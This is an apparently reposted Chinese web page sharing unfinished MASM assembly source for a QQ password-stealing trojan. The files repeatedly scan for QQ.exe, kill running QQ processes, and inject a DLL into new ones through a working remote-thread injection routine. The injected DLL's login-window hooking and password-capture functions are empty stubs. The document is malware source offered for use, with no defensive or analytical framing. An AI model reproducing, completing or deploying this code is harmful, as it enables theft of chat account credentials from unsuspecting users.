MASM写的盗Q程序

来源:互联网 发布:全国软件城市排名 编辑:程序博客网 时间:2024/05/16 12:42

未完成~~~~~
;QQMuMa.asm
                 .386
                 .model flat,stdcall
                 option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include          windows.inc
include          gdi32.inc
includelib       gdi32.lib
include          user32.inc
includelib       user32.lib
include          kernel32.inc
includelib       kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据结构
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
QQ_LIST        struct
        QQProcessID        DWORD    ?
        QQState            DWORD    ?
QQ_LIST        ends

                 .const
szClassName          db    'MyClass',0
szCaptionMain        db    'My first Window !',0
TIME                 equ   500
QQ_LIST_MAX_COUNT    equ   64


;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                 .data?
hInstance        dd         ?
hWinMain         dd         ?
idTimer              dd     ?
QQListCount          dd     ?
QQList               QQ_LIST    QQ_LIST_MAX_COUNT    dup    (<>)

                 .data
szDllName            db    'd:/qq/QQLove.dll',0
szQQExe              db    'QQ.exe',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include    InsertDll.asm

                 .code
_IsQQExe    proc  _lpScanExe
    invoke    lstrcmp,_lpScanExe,addr szQQExe
    .if    eax
        xor    eax,eax
    .else
        ;invoke    MessageBox,hWinMain,addr szCaptionMain,addr szCaptionMain,MB_OK
        mov    eax,TRUE
    .endif
    ret
_IsQQExe    endp

_InitQQList    proc  uses  esi
    xor    esi,esi
    .while    esi < QQListCount
        mov    QQList[esi*sizeof QQ_LIST].QQState,FALSE
        inc    esi
    .endw
    ret
_InitQQList    endp

_IsNewOfQQList    proc  uses  esi  edi  _dwScanPID
    xor    esi,esi
    .while    esi < QQListCount
        mov    edi,QQList[esi*sizeof QQ_LIST].QQProcessID
        .if    edi == _dwScanPID
            mov    QQList[esi*sizeof QQ_LIST].QQState,TRUE
            xor    eax,eax
            ret
        .endif
        inc    esi
    .endw
    mov    edi,QQListCount
    push   _dwScanPID
    pop    QQList[edi*sizeof QQ_LIST].QQProcessID
    mov    QQList[edi*sizeof QQ_LIST].QQState,TRUE
    inc    QQListCount
    mov    eax,TRUE
    ret
_IsNewOfQQList    endp

_DateQQList    proc  uses  esi  edi
    xor    esi,esi
    .while    esi < QQListCount
        .if    QQList[esi*sizeof QQ_LIST].QQState == FALSE
            dec    QQListCount
            mov    edi,esi
            .while    edi < QQListCount
                push    QQList[edi*sizeof QQ_LIST+sizeof QQ_LIST].QQProcessID
                pop     QQList[edi*sizeof QQ_LIST].QQProcessID
                push    QQList[edi*sizeof QQ_LIST+sizeof QQ_LIST].QQState
                pop     QQList[edi*sizeof QQ_LIST].QQState
                inc     edi
            .endw
        .endif
        inc    esi
    .endw
    ret
_DateQQList    endp

_CloseAllQQExe    proc  uses  ebx
    local    @stPe32:PROCESSENTRY32
    local    @hSnapShot
   
    invoke    RtlZeroMemory,addr @stPe32,sizeof @stPe32
    mov       @stPe32.dwSize,sizeof @stPe32
   
    invoke    CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
    mov       @hSnapShot,eax
   
    invoke    Process32First,@hSnapShot,addr @stPe32
    .while    eax
        invoke    _IsQQExe,addr @stPe32.szExeFile
        .if    eax
            invoke OpenProcess,PROCESS_TERMINATE,FALSE,@stPe32.th32ProcessID
            mov ebx,eax
            invoke TerminateProcess,ebx,-1
            invoke CloseHandle,ebx
        .endif
        invoke    Process32Next,@hSnapShot,addr @stPe32
    .endw
    invoke    CloseHandle,@hSnapShot
    ret
_CloseAllQQExe    endp

_QQScan    proc  hWnd,uMsg,idEvent,dwTime
    local    @stPe32:PROCESSENTRY32
    local    @hSnapShot
   
    ;invoke    MessageBox,hWinMain,addr szCaptionMain,addr szCaptionMain,MB_OK
    invoke    _InitQQList
   
    invoke    RtlZeroMemory,addr @stPe32,sizeof @stPe32
    mov       @stPe32.dwSize,sizeof @stPe32
   
    invoke    CreateToolhelp32Snapshot,TH32CS_SNAPPROCESS,0
    mov       @hSnapShot,eax
   
    invoke    Process32First,@hSnapShot,addr @stPe32
    .while    eax
        invoke    _IsQQExe,addr @stPe32.szExeFile
        .if    !eax
            jmp    @F
        .endif
        invoke    _IsNewOfQQList,@stPe32.th32ProcessID
        .if    !eax
            jmp    @F
        .endif
        ;invoke    MessageBox,hWinMain,addr szCaptionMain,addr szCaptionMain,MB_OK
        invoke    _InsertDll,@stPe32.th32ProcessID,addr szDllName
@@:
        invoke    Process32Next,@hSnapShot,addr @stPe32
    .endw
    invoke    CloseHandle,@hSnapShot
    invoke    _DateQQList
    ret
_QQScan    endp

_QQMuMaStart    proc
    invoke    _CloseAllQQExe
    invoke    SetTimer,NULL,NULL,TIME,addr _QQScan
    mov       idTimer,eax
    ret
_QQMuMaStart    endp

_QQMuMaStop    proc
    invoke    KillTimer,NULL,idTimer
    mov       idTimer,0
    ret
_QQMuMaStop    endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 窗口过程
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_ProcWinMain     proc  uses ebx edi esi,hWnd,uMsg,wParam,lParam
                 mov   eax,uMsg
;********************************************************************
                 .if      eax ==    WM_CREATE
                     invoke    _QQMuMaStart
                 .elseif  eax ==    WM_CLOSE
                          invoke    _QQMuMaStop
                          invoke    DestroyWindow,hWinMain
                          invoke    PostQuitMessage,NULL
;********************************************************************
                 .else
                          invoke    DefWindowProc,hWnd,uMsg,wParam,lParam
                                   ret
                          .endif
;********************************************************************
                 xor      eax,eax
                 ret
_ProcWinMain     endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

_WinMain         proc
                 local    @stWndClass:WNDCLASSEX
                 local    @stMsg:MSG

 
                 invoke   GetModuleHandle,NULL
                 mov                hInstance,eax
                 invoke   RtlZeroMemory,addr @stWndClass,sizeof @stWndClass
;********************************************************************
; 注册窗口类
;********************************************************************
                 invoke   LoadCursor,0,IDC_ARROW
                 mov      @stWndClass.hCursor,eax
                 push     hInstance
                 pop      @stWndClass.hInstance
                 mov      @stWndClass.cbSize,sizeof WNDCLASSEX
                 mov      @stWndClass.style,CS_HREDRAW or CS_VREDRAW
                 mov      @stWndClass.lpfnWndProc,offset _ProcWinMain
                 mov      @stWndClass.hbrBackground,COLOR_WINDOW + 1
                 mov      @stWndClass.lpszClassName,offset szClassName
                 invoke   RegisterClassEx,addr @stWndClass
;********************************************************************
; 建立并显示窗口
;********************************************************************
                 invoke   CreateWindowEx,WS_EX_CLIENTEDGE,/
                          offset szClassName,offset szCaptionMain,/
                          WS_OVERLAPPEDWINDOW,/
                          100,100,600,400,/
                          NULL,NULL,hInstance,NULL
                 mov      hWinMain,eax
                 invoke   ShowWindow,hWinMain,SW_SHOWNORMAL
                 invoke   UpdateWindow,hWinMain
;********************************************************************
; 消息循环
;********************************************************************
                 .while   TRUE
                          invoke    GetMessage,addr @stMsg,NULL,0,0
                          .break    .if eax  == 0
                          invoke    TranslateMessage,addr @stMsg
                          invoke    DispatchMessage,addr @stMsg
                 .endw
                 ret
_WinMain         endp

;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
                 call     _WinMain
                 invoke   ExitProcess,NULL
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
                 end      start

;InsertDll.asm
        .const
szDllKernel        db    'Kernel32.dll',0
szLoadLibrary      db    'LoadLibraryA',0

        .code
_InsertDll    proc  _dwProcessID,_lpDllName
    local    @hProcess,@lpRemoteDllName,@dwDllNameLength
   
    invoke    OpenProcess,PROCESS_VM_WRITE  or PROCESS_CREATE_THREAD or PROCESS_VM_OPERATION,FALSE,_dwProcessID
    .if    !eax
        jmp    Err
    .endif
    mov    @hProcess,eax
    invoke    lstrlen,_lpDllName
    inc    eax
    mov    @dwDllNameLength,eax
    invoke    VirtualAllocEx,@hProcess,NULL,eax,MEM_COMMIT,PAGE_READWRITE
    .if    !eax
        invoke    CloseHandle,@hProcess
        jmp    Err
    .endif
    mov    @lpRemoteDllName,eax
    invoke    WriteProcessMemory,@hProcess,eax,_lpDllName,@dwDllNameLength,NULL
    invoke    GetModuleHandle,addr szDllKernel
    invoke    GetProcAddress,eax,addr szLoadLibrary
    invoke    CreateRemoteThread,@hProcess,NULL,0,eax,@lpRemoteDllName,0,NULL
    .if       !eax
        invoke    CloseHandle,@hProcess
        jmp    Err
    .endif
    invoke    MessageBox,hWinMain,addr szClassName,addr szCaptionMain,MB_OK
    invoke    CloseHandle,eax
    invoke    CloseHandle,@hProcess
    mov       eax,TRUE
    ret
Err:
    mov    eax,FALSE
    ret
_InsertDll    endp

;QQLove.asm
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .386
  .model flat, stdcall
  option casemap :none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include  windows.inc
include  user32.inc
includelib e:/masm32/lib/user32.lib
include  kernel32.inc
includelib e:/masm32/lib/kernel32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .data?
hInstance dd ?
hWinMain dd ?

  .const
szClassName db 'RemoteClass',0
szCaptionMain db 'RemoteWindow',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  .code
_EnumWinProc    proc  _hWnd,_wParam
   
    ret
_EnumWinProc    endp

_GetQQLoginHWnd    proc
    invoke    EnumWindows,addr _EnumWinProc,NULL
    ret
_GetQQLoginHWnd    endp

_GetQQSubHWnd    proc
    ret
_GetQQSubHWnd    endp

_SaveQQPwdEditPic    proc
    ret
_SaveQQPwdEditPic    endp

_SubClassQQLoginWin    proc
    ret
_SubClassQQLoginWin    endp

_CreateNewQQPwdEdit    proc
    ret
_CreateNewQQPwdEdit    endp

_QQLove    proc  _lParam
    invoke    MessageBox,NULL,addr szCaptionMain,addr szClassName,MB_OK
    invoke    _GetQQLoginHWnd
    invoke    _GetQQSubHWnd
    invoke    _SaveQQPwdEditPic
    invoke    _SubClassQQLoginWin
    invoke    _CreateNewQQPwdEdit
    ret
_QQLove    endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
DllEntry proc _hInstance,_dwReason,_dwReserved
  local @dwThreadID

  .if _dwReason == DLL_PROCESS_ATTACH
   push _hInstance
   pop hInstance
   invoke CreateThread,NULL,0,offset _QQLove,NULL,/
    NULL,addr @dwThreadID
   invoke CloseHandle,eax
  .endif
  mov eax,TRUE
  ret

DllEntry Endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
  End DllEntry

原创粉丝点击